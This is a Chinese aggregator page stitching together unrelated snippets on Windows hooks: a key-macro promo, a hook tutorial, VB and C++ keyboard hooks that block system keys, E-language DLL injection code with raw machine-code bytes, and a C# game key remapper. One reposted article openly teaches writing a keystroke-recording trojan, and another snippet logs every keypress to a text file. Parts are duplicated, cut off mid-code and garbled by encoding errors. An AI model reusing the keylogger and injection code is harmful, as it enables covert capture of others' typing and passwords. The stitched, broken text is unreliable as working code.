改建精灵dll源码 钩子

合集下载

自由幻想按键精灵源代码

自由幻想按键精灵源代码

自由幻想按键精灵源代码摘要:I.引言- 介绍自由幻想按键精灵源代码的背景和重要性II.自由幻想按键精灵的概述- 解释什么是自由幻想按键精灵- 介绍自由幻想按键精灵的主要功能和特点III.源代码的获取- 说明如何获取自由幻想按键精灵的源代码- 提供一个下载链接或其他获取方式的参考IV.源代码的解析- 分析源代码的结构和主要部分- 解释源代码中关键功能的实现方式V.源代码的修改与定制- 介绍如何修改源代码以满足特定需求- 提供一个简单的修改示例VI.结论- 总结自由幻想按键精灵源代码的价值和应用- 鼓励读者尝试和使用源代码正文:自由幻想按键精灵源代码是一款免费、开源的按键精灵制作工具,它可以帮助用户快速地制作属于自己的按键精灵,从而实现自动操作、自动点击等便捷功能。

自由幻想按键精灵源代码的重要性在于,它为用户提供了更多的自定义和开发可能性,使得用户可以更好地适应自己的需求和操作习惯。

自由幻想按键精灵的主要功能和特点包括:支持多种操作系统、兼容多种游戏和应用、拥有丰富的脚本编辑功能、支持多线程操作等。

这些特点使得自由幻想按键精灵成为许多用户的首选工具。

获取自由幻想按键精灵源代码十分简单。

用户只需访问官方网站或相关下载站点,即可找到源代码的下载链接。

在下载完成后,用户可以根据官方文档或教程,逐步了解和分析源代码。

源代码的解析是使用和开发自由幻想按键精灵源代码的关键。

一般来说,源代码包括主程序、脚本编辑器、核心功能模块等多个部分。

用户可以通过分析这些部分,了解自由幻想按键精灵的工作原理,以及如何根据自己的需求进行修改和定制。

源代码的修改与定制是自由幻想按键精灵源代码最大的价值所在。

用户可以根据自己的需求,修改源代码中的相关功能和参数,从而实现更符合自己习惯的按键精灵。

例如,用户可以修改按键精灵的点击速度、添加自定义功能等。

总之,自由幻想按键精灵源代码为用户提供了极大的使用和开发空间。

无论你是初学者还是资深用户,都可以从源代码的学习和使用中,获得更多的知识和乐趣。

windows钩子教程(hook)

windows钩子教程(hook)

Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。

钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。

这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。

可见,利用钩子可以实现许多特殊而有用的功能。

因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。

钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

此外,还有一些特定事件的钩子提供给我们使用,不一一列举。

下面描述常用的Hook类型:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET HooksWH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。

系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。

WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。

CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

2、WH_CBT Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。

VB2010VBNET源码 HOOK 键盘钩子

VB2010VBNET源码 HOOK 键盘钩子
If p.vkCode = VK_MENU Or p.vkCode = VK_TAB Then blnHook = True '按下了Alt+Tab键
Case Else
'do nothing
End Select
End Sub
这只是简单的屏蔽了几个键,当然如果要屏蔽更多的键,只要在模块的LowLevelKeyboardProc函数中设置你想要拦截键盘键值过滤掉就可以了。
Call CopyMemory(p, ByVal lParam, Len(p))
If p.vkCode = VK_LWIN Or p.vkCode = VK_RWIN Then blnHook = True '按下了左/右Win键
If p.vkCode = VK_CONTROL Or p.vkCode = VK_ESCAPE Then blnHook = True '按下了Ctrl+Esc键
End Type
Private Const WM_KEYDOWN = &H100
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYUP e Const VK_LWIN = &H5B
End Function
Public Sub HooK()
lngHook = SetWindowsHookEx(WH_KEYBOARD_LL, _
AddressOf LowLevelKeyboardProc, _
App.hInstance, _

不依赖的DLL的全局钩子编写

不依赖的DLL的全局钩子编写

不依赖的DLL的全局钩子编写(例:WH_KEYBOARD_LL)在VC中捕按键可以在OnKeyDown 或OnKeyUp 事件中进行捕获,不过这有很大的局限性,这里只能捕获用户按键。

但在一些特殊的工程(项目)中往往需要捕获某些系统按键以完成特殊的功能,我们就不得不选择钩子了,一般情况下大家都会选择WH_KEYBOARD 这个钩子类型,但是在编写过程会发现这个钩子类型并不能捕获所有的系统按键,怎么办呢?那就得选择WH_KEYBOARD_LL (低级键盘钩子)了,使用它可以捕获全部的系统按键,一个不漏……在使用低级键盘钩子之前,先在StdAfx.h 的第一行添加一条:#define _WIN32_WINNT 0x400(这里假定你是用的MFC 的DLL),不然在编译的时候会提示说WH_KEYBOARD_LL 没有定义。

网上还有另一种方法:首先定义#define WH_KEYBOARD_LL 13; 然后Winuser.h 中定义的tagKBDLLHOOKSTRUCT 代码拷贝到工程中。

下面代码用以捕获系统按键:/*用户模块return TRUE; --->丢弃该消息*/LRESULT CALLBACK LowLevelKeyboardProc(int nCode, // hook codeWPARAM wParam, // message identifierLPARAM lParam // message data){PKBDLLHOOKSTRUCT pm = NULL;if (nCode == HC_ACTION){pm = (PKBDLLHOOKSTRUCT)lParam;switch(pm->vkCode){//屏蔽win键case VK_LWIN:case VK_RWIN:return 1;break;//屏蔽alt+tabcase VK_TAB:if(pm->flags & LLKHF_ALTDOWN){return 1;}break;//屏蔽esc alt+esc ctrl+esccase VK_ESCAPE:return 1;break;//屏蔽ALT+F4case VK_F4:if(pm->flags & LLKHF_ALTDOWN){return 1;}break;//屏蔽F1case VK_F1:return 1;break;//屏蔽CTRL+ALT+DELcase VK_DELETE:if(pm->flags & LLKHF_ALTDOWN){if (GetKeyState(VK_CONTROL) < 0){return 1;}}break;default:break;}}}// if (WM_KEYDOWN == wParam || WM_SYSKEYDOWN)// //如果按键为按下状态// {// if (Key_Info->vkCode == VK_LWIN || Key_Info->vkCode == VK_RWIN) // //屏敝WIN(左右) 键// {// return TRUE;// }// if (Key_Info->vkCode == 0x4D && ((GetKeyState(VK_LWIN) & 0x8000) || // (GetKeyState(VK_RWIN) & 0x8000)))// //屏敝WIN+D 组合键(左右)// {// return TRUE;// }// if (Key_Info->vkCode == 0x44 && ((GetKeyState(VK_LWIN) & 0x8000) ||// (GetKeyState(VK_LWIN) & 0x8000)))// //屏敝WIN+M 组合键(左右)// {// return TRUE;// }// if (Key_Info->vkCode == 0x1b && GetKeyState(VK_CONTROL) & 0x8000) // //屏敝CTRL + ESC 组合键// {// return TRUE;// }// if (Key_Info->vkCode == VK_TAB && Key_Info->flags & LLKHF_ALTDOWN)// //屏敝ATL + TAB 组合键// {// return TRUE;// }// if (Key_Info->vkCode == VK_ESCAPE && Key_Info->flags & LLKHF_ALTDOWN)// //屏敝ATL + ESC 组合键// {// return TRUE;// }// if (Key_Info->flags & LLKHF_ALTDOWN)// //屏敝CTRL 键// {// return TRUE;// }// }return CallNextHookEx(g_hhk, nCode, wParam, lParam);}BOOL CTestHookDlg::OnInitDialog(){CDialog::OnInitDialog();// Set the icon for this dialog. The framework does this automatically// when the application's main window is not a dialogSetIcon(m_hIcon, TRUE); // Set big iconSetIcon(m_hIcon, FALSE); // Set small icon// TODO: Add extra initialization hereg_hhk = SetWindowsHookEx(13, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);return TRUE; // return TRUE unless you set the focus to a control}*** 注意***此钩子必须是系统级的钩子,也就是说在安装钩子的时候,ThreadID 的值必须为0。

钩子 易语言

钩子 易语言

易语言钩子DLL注入源码及源码说明2010-04-06 13:52[所有要使用到的API].版本 2.DLL命令 LoadLibraryA, 整数型.参数 lpLibFileName, 文本型.DLL命令 SetWindowsHookExA, 整数型, "user32.dll", "SetWindowsHookExA", 公开, SetWindowsHookEx.参数钩子类型, 整数型, , idHook.参数回调函数地址, 整数型, , lpfn.参数实例句柄, 整数型, , hmod.参数线程ID, 整数型, , dwThreadId.DLL命令 FreeLibrary, 整数型, "kernel32.dll", "FreeLibrary", , 释放指定的动态链接库,它们早先是用LoadLibrary ;API函数装载的非零表示成功,零表示失败。

会设置GetLastError.参数库句柄, 整数型, , hLibModule,要释放的一个库句柄,在VB里使用只能用这个函数释放那些由应用程序明确装载的DLL。

对LoadLibrary的每一次调用都应该有一个对应的FreeLibrary 调用;.DLL命令 UnhookWindowsHookEx, 整数型, "user32.dll", "UnhookWindowsHookEx", , UnhookWindowsHookEx.参数钩子句柄, 整数型, , hHook.DLL命令 CallNextHookEx, 整数型, "user32.dll", "CallNextHookEx", 公开, CallNextHookEx .参数钩子句柄, 整数型, , hHook.参数代码值, 整数型, , ncode.参数附加参数1, 整数型, , wParam.参数附加参数2, 整数型, 传址, lParam.DLL命令 GetProcAddress, 整数型, "kernel32.dll", "GetProcAddress", , 取进程路径.参数模块句柄, 整数型, , hModule.参数进程名称, 文本型, , lpProcName.DLL命令 GetCurrentThreadId, 整数型, "kernel32.dll", "GetCurrentThreadId".DLL命令获取特别文件夹位置_, 整数型, "shell32.dll", "SHGetSpecialFolderLocation".参数窗口句柄, 整数型, , hwndOwner.参数文件夹位置, 整数型, , nFolder.参数结构, 项目标识符列表_, 传址, pIdl.DLL命令从列表id取路径_, 整数型, "shell32.dll", "SHGetPathFromIDListA", , $(b).参数结构指针, 整数型, , pIdl.参数路径, 文本型, 传址, pszPath.DLL命令 CallWindowProcA, 整数型, "user32.dll", "CallWindowProcA".参数动态调用代码, 字节集, , 一定要用本人编写的.参数子程序, 子程序指针, , 子程序指针.参数参数, 整数型, 数组, 为整数数组,参数1为成员1…类推;文本型和字节集型(自定义结构)为指针.参数参数数目, 整数型, , 一定要和参数数组相符,不然会出错.参数是否C调用, 整数型, , 真为cdecl调用方式,假为stdcall调用方式(即标准WINAPI方式)[这里函数所有代码和一个自定义类型,API代码在左边].版本 2.程序集程序集1.程序集变量临时呼出热键, 整数型.程序集变量临时载入窗口, 窗口.程序集变量钩子模块句柄, 整数型, , "1000".程序集变量钩子句柄, 整数型, , "1000".程序集变量钩子IDx, 整数型.程序集变量 x, 整数型.程序集变量钩子句柄1, 整数型.程序集变量 temp目录, 文本型.程序集变量 xxx, 整数型.程序集变量热键钩子句柄, 整数型.程序集变量第一次, 逻辑型.子程序调用_调用子程序, 整数型, 公开, 呼叫某个函数可以传入无限个参数返回函数返回值.参数子程序指针, 子程序指针, , 指定函数.参数参数, 整数型, 可空数组, 指定参数可以不写, 参数为数组格式为参数[1]=xxx 参数[2]=xxx 文本型或字节集请用转换指针格式2 加入成员(参数,xxx).局部变量动态调用代码, 字节集动态调用代码= { 85, 139, 236, 86, 139, 117, 16, 141, 78, 255, 133, 201, 124, 21, 139, 69, 12, 141, 4, 136, 65, 139, 16, 137, 85, 16, 255, 117, 16, 131, 232, 4, 73, 117, 242, 255, 85, 8, 137, 69, 12, 139, 69, 20, 133, 192, 116, 13, 141, 4, 181, 0, 0, 0, 0, 137, 69, 16, 3, 101, 16, 139, 69, 12, 94, 93, 194, 16, 0 }返回 (CallWindowProcA (动态调用代码, 子程序指针, 参数, 取数组成员数 (参数), 0)).子程序操作_取特定目录, 文本型, 公开, 取特定的目录(返回所要取的指定目录名无效返回空) .参数欲获取目录类型, 整数型, 可空, 0我的桌面 1临时目录 5我的文档 6我的收藏夹 7我的启动11我的开始菜单 20系统字体 36Windows安装目录 37系统目录 [99更多].局部变量路径, 文本型.局部变量标示结构, 项目标识符列表_.局部变量目录类型, 整数型.如果真 (欲获取目录类型= 99)输出调试文本 (“0我的桌面 2我的程序 5我的文档 6我的收藏夹 7我的启动 8我最近的文档 9我的发送到 11我的开始菜单 13我的音乐 14我的视频 16我的桌面 20系统字体 22开始菜单组 23程序组 24启动组 25桌面 31收藏夹 32我的浏览器临时目录 33我的Cookies 34我的历史记录36Windows安装目录 37系统目录 38文件安装目录 39我的图片 40用户目录 41系统目录 46文档 47管理工具 48我的管理工具 53音乐 54图片 55视频”).如果真结束.如果 (欲获取目录类型= 1)目录类型= 34.否则目录类型=欲获取目录类型.如果结束获取特别文件夹位置_ (0, 目录类型, 标示结构)路径=取空白文本 (255)从列表id取路径_ (标示结构.结构大小, 路径).如果真 (路径=“”)返回 (“”).如果真结束.如果真 (欲获取目录类型= 1)路径=子文本替换 (路径, “History”, “Temp”, , , 真).如果真结束返回 (路径+“\”).子程序注入_安装钩子DLL, 整数型, 公开, DLL注入返回0=失败整数型 DLL接口(代码值,参数1,参数2).参数线程ID, 整数型, , -1 全局钩子.参数 DLL全名, 文本型, , DLL全名.参数 DLL接口, 文本型, 可空, 默认整数型钩子接口(代码值,参数1,参数2).局部变量临时变量, 整数型.局部变量目录, 文本型.局部变量窗口句柄, 整数型.如果真 (是否为空 (DLL接口) =真)DLL接口=“钩子接口”.如果真结束.如果真 (线程ID = 0)返回 (0).如果真结束.如果真 (线程ID = -1)线程ID = 0.如果真结束钩子IDx =钩子IDx + 1钩子模块句柄 [钩子IDx] = LoadLibraryA (DLL全名)钩子句柄 [钩子IDx] = SetWindowsHookExA (3, GetProcAddress (钩子模块句柄 [钩子IDx], DLL 接口), 钩子模块句柄 [钩子IDx], 线程ID)目录=操作_取特定目录 (1)写配置项 (目录+“ada.ini”, “ada”, “钩子句柄”, 到文本 (钩子句柄 [钩子IDx]))输出调试文本 (钩子IDx, 钩子模块句柄 [钩子IDx], 钩子句柄 [钩子IDx])返回 (钩子IDx).版本 2.子程序注入_卸载钩子DLL, 逻辑型, 公开.参数钩子ID, 整数型, 可空, 卸载所有时无效.参数卸载所有, 逻辑型, 可空.局部变量 xx, 整数型.如果真 (卸载所有).如果真 (钩子IDx > 0).计次循环首 (钩子IDx, xx).如果真 (钩子模块句柄 [xx] ≠ 0)FreeLibrary (钩子模块句柄 [xx])UnhookWindowsHookEx (钩子句柄 [xx]).如果真结束.计次循环尾 ().如果真结束返回 (真).如果真结束.如果真 (钩子ID > 0).如果真 (钩子模块句柄 [钩子ID] ≠ 0)FreeLibrary (钩子模块句柄 [钩子ID])UnhookWindowsHookEx (钩子句柄 [钩子ID])返回 (真).如果真结束.如果真结束返回 (假).子程序注入_初始化钩子DLL, 整数型, 公开, DLL用..参数代码值, 整数型.参数参数1, 整数型.参数参数2, 整数型.参数初始, 子程序指针.局部变量 xxxx, 整数型.如果真 (钩子句柄1 = 0)temp目录=操作_取特定目录 (1)钩子句柄1 =到整数 (读配置项 (temp目录+“ada.ini”, “ada”, “钩子句柄”, )).如果真结束.如果真 (第一次=假)第一次=真调用_调用子程序 (初始).如果真结束返回 (CallNextHookEx (钩子句柄1, 代码值, 参数1, 参数2)).子程序注入_设置呼出窗口, 逻辑型, 公开.参数设置热键, 整数型.参数呼出窗口, 窗口临时呼出热键=设置热键临时载入窗口=呼出窗口热键钩子句柄= SetWindowsHookExA (2, 到整数 (&呼出键接口), 0, GetCurrentThreadId ()) .如果真 (热键钩子句柄> 0)返回 (真).如果真结束返回 (假).子程序呼出键接口, 整数型.参数一, 整数型.参数二, 整数型.参数三, 整数型.如果真 (一= 0 且二=临时呼出热键且三> 0) .如果 (是否已创建 (临时载入窗口)).如果 (临时载入窗口.可视)临时载入窗口.可视=假.否则临时载入窗口.可视=真.如果结束.否则载入 (临时载入窗口, , 假)临时载入窗口.Esc键关闭=假临时载入窗口.最小化按钮=真.如果结束.如果真结束返回 (CallNextHookEx (热键钩子句柄, 一, 二, 三)).版本 2.数据类型项目标识符列表_, , ITEMIDLIST.成员结构大小, 整数型, , , cb.成员标识符长度, 字节型, , "255", abID此函数是用来调用指针函数的.就是CALL取目录用这个我就不解释了下面是源码主要函数函数解释:本函数参数1为要HOOK的线程ID,参数2为要注入的DLL名,参数3[可空]为DLL接口名字空则为"钩子接口".下面解释是如何实现的:1.首先使用LoadLibraryA获取DLL模块地址.2.然后设置SetWindowsHookExA参数一为HOOK类型,使用WH_GETMESSAGE(3) Hook来监视从GetMessage or PeekMessage函数返回的消息。

【转】用键盘钩子编写windows记录木马-网络管理与网络安全-如鹏网计算机行...

【转】用键盘钩子编写windows记录木马-网络管理与网络安全-如鹏网计算机行...

【转】用键盘钩子编写windows记录木马-网络管理与网络安全-如鹏网计算机行...用键盘钩子编写windows记录木马一、引言我们可以在应用程序中毫不费力的捕获在本程序窗口上所进行的键盘操作,但如果我们想要将此程序作成一个监控程序,捕获在Windows平台下任意窗口上的键盘操作,就需要借助于全局钩子来实现了。

二、系统钩子和DLL钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。

钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。

此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL (动态连接库)为载体进行封装,VC6中有三种形式的 MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。

在本程序中为方便起见采用了标准静态连接MFC DLL。

三、键盘钩子程序示例本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。

1、首先编制MFC扩展动态连接库LaunchDLL.dll:(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。

(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:#define DllExport __declspec(dllexport)……DllExport void WINAPI InstallLaunchEv();……class CLaunchDLLApp : public CWinApp{public:CLaunchDLLApp();//{{AFX_VIRTUAL(CLaunchDLLApp)//}}AFX_VIRTUAL//{{AFX_MSG(CLaunchDLLApp)// NOTE - the ClassWizard will add and remove member functions here.// DO NOT EDIT what you see in these blocks of generated code !//}}AFX_MSGDECLARE_MESSAGE_MAP()};(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:HHOOK Hook;LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);void SaveLog(char* c);(4)完成以上提到的这几个函数的实现部分:……CLaunchDLLApp theApp;……DllExport void WINAPI InstallLaunchEv(){Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInstance,0);}在此我们实现了Windows的系统钩子的安装,首先要调用SDK 中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。

DLL注入技术之消息钩子注入

DLL注入技术之消息钩子注入

DLL注入技术之消息钩子注入消息钩子注入原理是利用Windows 系统中SetWindowsHookEx()这个API,他可以拦截目标进程的消息到指定的DLL中导出的函数,利用这个特性,我们可以将DLL注入到指定进程中。

主要流程如下图所示1.准备阶段需要编写一个DLL,并且显式导出MyMessageProc()函数,主要代码如下:1.LRESULT WINAPI MyMessageProc(int code,WPARAM wParam,LPARAM lParam)2.{3.return CallNextHookEx(NULL, code, wParam, lParam);4.}显示导出某个函数需要在.def文件中的EXPORTS填写MyMessageProc(),如下图所示:2.HOOK阶段使用SetWindowsHookEx()之前首先需要将HOOK的DLL 加载到本身的进程中,以此得到DLL的模块句柄,再使用GetProcAddress()得到DLL中显示导出的函数MyMessageProc()的函数地址,最后遍历出待注入进程的线程ID,这样SetWindowsHookEx()就可以利用这些参数进行HOOK了。

主要代码如下图所示:1.//加载DLL到本身进程2.hMod = LoadLibrary(pDllName);3.if(!hMod) return FALSE;4.//得到显示函数的地址5.lpFunc = (DWORD)GetProcAddress(hMod, "MyMessageProc");6.if(!lpFunc)7.{8.if(hMod) FreeLibrary(hMod);9.return FALSE;10.}11.//得到待注入EXE的进程ID12.dwProcessId = GetProcessId(pExeName);13.if(!dwProcessId)14.{15.if(hMod) FreeLibrary(hMod);16.return FALSE;17.}18.//得到待注入EXE的线程ID19.dwThreadId = GetThreadId(dwProcessId);20.if(!dwThreadId)21.{22.if(hMod) FreeLibrary(hMod);23.return FALSE;24.}25.//利用HOOK进行注入26.hhook = SetWindowsHookEx(27. WH_GETMESSAGE,//WH_KEYBOARD,//WH_CALLWNDPROC,28. (HOOKPROC)lpFunc,29. hMod,30. dwThreadId);3.释放阶段利用LoadLibrary()得到的模块句柄把本身进程的DLL释放掉,代码如下所示:1.if(hMod) FreeLibrary(hMod);消息钩子注入只需要对SetWindowsHookEx()和DLL导出函数有深刻的认识就可以很容编写,所以代码简单,比较容易实现。

C#魔兽世界改键源码

C#魔兽世界改键源码
本例以演示c键盘钩子的应用为主通过调用windows中api函数来实现魔兽世界改键功能
本例以演示 C#键盘钩子的应用为主,通过调用 windows 中 API 函数来实现魔兽世界改键功能。 程序窗体及全体代码如下!
using System; using System.Collections.Generic; using ponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Win32; using System.Media; using System.Threading;
else if (vkcode == text[9]) { press((byte)text[8]); return 1; }else if(vkcode==text[11]) { press((byte)text[10]); return 1; }else if(vkcode==text[13]) { press((byte)text[12]); return 1; }else if(vkcode==(int)Keys.LWin&&win==1) { return 1; } return 0; } } return 0; }
private void button1_Click(object sender, EventArgs e) { check(); } private void press(byte vk) { keybd_event(vk, 0, 0, 0); //键ü盘ì按恪?下? keybd_event(vk, 0, 0x0002, 0); //键ü盘ì松é开 a } private void check() { toolTip1.Show(null,label1); if (openHook == false) { openHook = true; button1.Text = "开 a 启?改?键ü"; //toolTip1.Show("改?键ü已?开 a 启?", label1, 500); SystemSounds.Asterisk.Play(); } else { openHook = false; button1.Text = "关?闭?改?键ü"; //toolTip1.Show("改?键ü已?关?闭?",label1,500); SystemSounds.Asterisk.Play(); } } //键ü盘ì对?应畖的?操ù作痢?事?件 t

键盘勾子

键盘勾子
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
};
(4)在KeyboardHook.cpp文件的顶部加入#include "KeyboardHook.h"语句;
(5)在KeyboardHook.cpp文件的顶部加入全局共享数据变量:
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装的鼠标勾子句柄
实现适时监视键盘,并将按键信息保存在TXT文件中的程序
Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简单的键盘钩子程序,并对Win32全局钩子的运行机制、Win32 DLL的特点、VC6环境下的MFC DLL以及共享数据等相关知识进行了简单的阐述。
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中,第一个参数表示DLL的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数,它有四个可能的值:DLL_PROCESS_ATTACH(进程载入),DLL_THREAD_ATTACH(线程载入),DLL_THREAD_DETACH(线程卸载),DLL_PROCESS_DETACH(进程卸载),在DLLMain函数中可以对传递进来的这个参数的值进行判别,并根据不同的参数值对DLL进行必要的初始化或清理工作。举个例子来说,当有一个进程载入一个DLL时,系统分派给DLL的第二个参数为DLL_PROCESS_ATTACH,这时,你可以根据这个参数初始化特定的数据。另一方面,在Win16环境下,所有应用程序都在同一地址空间;而在Win32环境下,所有应用程序都有自己的私有空间,每个进程的空间都是相互独立的,这减少了应用程序间的相互影响,但同时也增加了编程的难度。大家知道,在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,当进程在载入DLL时,系统自动把DLL地址映射到该进程的私有空间,而且也复制该DLL的全局数据的一份拷贝到该进程空间,也就是说每个进程所拥有的相同的DLL的全局数据其值却并不一定是相同的。因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。亦即把这些需要共享的数据分离出来,放置在一个独立的数据段里,并把该段的属性设置为共享。

易语言钩子DLL注入源码及源码说明

易语言钩子DLL注入源码及源码说明

易语⾔钩⼦DLL注⼊源码及源码说明易语⾔钩⼦DLL注⼊源码及源码说明2010-04-06 13:52[所有要使⽤到的API].版本 2.DLL命令 LoadLibraryA, 整数型,"kernel32.dll","LoadLibraryA".参数 lpLibFileName, ⽂本型.DLL命令 SetWindowsHookExA, 整数型, "user32.dll", "SetWindowsHookExA", 公开, SetWindowsHookEx.参数钩⼦类型, 整数型, , idHook.参数回调函数地址, 整数型, , lpfn.参数实例句柄, 整数型, , hmod.参数线程ID, 整数型, , dwThreadId.DLL命令 FreeLibrary, 整数型, "kernel32.dll", "FreeLibrary", , 释放指定的动态链接库,它们早先是⽤LoadLibrary ;API函数装载的⾮零表⽰成功,零表⽰失败。

会设置GetLastError.参数库句柄, 整数型, , hLibModule,要释放的⼀个库句柄,在VB⾥使⽤只能⽤这个函数释放那些由应⽤程序明确装载的DLL。

对LoadLibrary的每⼀次调⽤都应该有⼀个对应的FreeLibrary调⽤;.DLL命令 UnhookWindowsHookEx, 整数型, "user32.dll", "UnhookWindowsHookEx", , UnhookWindowsHookEx.参数钩⼦句柄, 整数型, , hHook.DLL命令 CallNextHookEx, 整数型, "user32.dll", "CallNextHookEx", 公开, CallNextHookEx.参数钩⼦句柄, 整数型, , hHook.参数代码值, 整数型, , ncode.参数附加参数1, 整数型, , wParam.参数附加参数2, 整数型, 传址, lParam.DLL命令 GetProcAddress, 整数型, "kernel32.dll", "GetProcAddress", , 取进程路径.参数模块句柄, 整数型, , hModule.参数进程名称, ⽂本型, , lpProcName.DLL命令 GetCurrentThreadId, 整数型, "kernel32.dll", "GetCurrentThreadId".DLL命令获取特别⽂件夹位置_, 整数型, "shell32.dll", "SHGetSpecialFolderLocation".参数窗⼝句柄, 整数型, , hwndOwner.参数⽂件夹位置, 整数型, , nFolder.DLL命令从列表id取路径_, 整数型, "shell32.dll", "SHGetPathFromIDListA", , $(b).参数结构指针, 整数型, , pIdl.参数路径, ⽂本型, 传址, pszPath.DLL命令 CallWindowProcA, 整数型, "user32.dll", "CallWindowProcA".参数动态调⽤代码, 字节集, , ⼀定要⽤本⼈编写的.参数⼦程序, ⼦程序指针, , ⼦程序指针.参数参数, 整数型, 数组, 为整数数组,参数1为成员1…类推;⽂本型和字节集型(⾃定义结构)为指针.参数参数数⽬, 整数型, , ⼀定要和参数数组相符,不然会出错.参数是否C调⽤, 整数型, , 真为cdecl调⽤⽅式,假为stdcall调⽤⽅式(即标准WINAPI⽅式)[这⾥函数所有代码和⼀个⾃定义类型,API代码在左边].版本 2.程序集程序集1.程序集变量临时呼出热键, 整数型.程序集变量临时载⼊窗⼝, 窗⼝.程序集变量钩⼦模块句柄, 整数型, , "1000".程序集变量钩⼦句柄, 整数型, , "1000".程序集变量钩⼦IDx, 整数型.程序集变量 x, 整数型.程序集变量钩⼦句柄1, 整数型.程序集变量 temp⽬录, ⽂本型.程序集变量 xxx, 整数型.程序集变量热键钩⼦句柄, 整数型.程序集变量第⼀次, 逻辑型.⼦程序调⽤_调⽤⼦程序, 整数型, 公开, 呼叫某个函数可以传⼊⽆限个参数返回函数返回值.参数⼦程序指针, ⼦程序指针, , 指定函数.参数参数, 整数型, 可空数组, 指定参数可以不写, 参数为数组格式为参数[1]=xxx 参数[2]=xxx ⽂本型或字节集请⽤转换指针格式2 加⼊成员(参数,xxx).局部变量动态调⽤代码, 字节集动态调⽤代码= { 85, 139, 236, 86, 139, 117, 16, 141, 78, 255, 133, 201, 124, 21, 139, 69, 12, 141, 4, 136, 65, 139, 16, 137, 85, 16, 255, 117, 16, 131, 232, 4, 73, 117, 242, 255, 85, 8, 137, 69, 12, 139, 69, 20, 133, 192, 116, 13, 141, 4, 181, 0, 0, 0, 0, 137, 69, 16, 3, 101, 16, 139, 69, 12, 94, 93, 194, 16, 0 }.⼦程序操作_取特定⽬录, ⽂本型, 公开, 取特定的⽬录(返回所要取的指定⽬录名⽆效返回空).参数欲获取⽬录类型, 整数型, 可空, 0我的桌⾯ 1临时⽬录 5我的⽂档 6我的收藏夹 7我的启动 11我的开始菜单 20系统字体 36Windows安装⽬录 37系统⽬录 [99更多].局部变量路径, ⽂本型.局部变量标⽰结构, 